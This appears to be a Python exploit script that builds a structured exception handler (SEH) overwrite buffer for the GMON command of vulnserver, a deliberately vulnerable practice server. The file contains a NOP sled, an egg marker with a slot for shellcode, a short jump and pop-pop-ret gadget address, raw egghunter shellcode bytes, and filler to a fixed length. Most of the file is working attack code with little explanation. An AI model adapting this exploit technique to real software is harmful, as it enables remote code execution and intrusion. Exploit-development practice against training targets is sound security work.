import struct


def build_buf(shellcode: bytes = b"") -> bytes:
    """ Builds buffer for GMON exploit of vulnserver with egghunter"""
    # Bad chars: \x00
    # *************
    # Buffer Layout
    # *************
    #
    # GMON /.../
    #
    #   \x90's (dynamic length)
    # + egg - flopflop (8 bytes)
    # + shellcode (dynamic length)
    # ----------------------------
    # Overflow 3514 bytes :: SEH record (nseh field) at (offset 3514)
    #
    # nseh - 0x04750674 net jump over seh to egghunter
    #
    # seh - 0x625010b4 : pop ebx # pop ebp # ret
    #
    # egghunter for flopflop
    #
    # filler to 5012 bytes
    buf = b"GMON /.../"
    buf += b"\x90" * (3514 - len(shellcode) - 8)
    buf += b"flopflop"
    buf += shellcode
    buf += struct.pack("<L", 0x04750674)
    buf += struct.pack("<L", 0x625010B4)
    buf += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
    buf += b"\xef\xb8\x66\x6c\x6f\x70\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
    buf += b"C" * (5012 - len(buf))
    return buf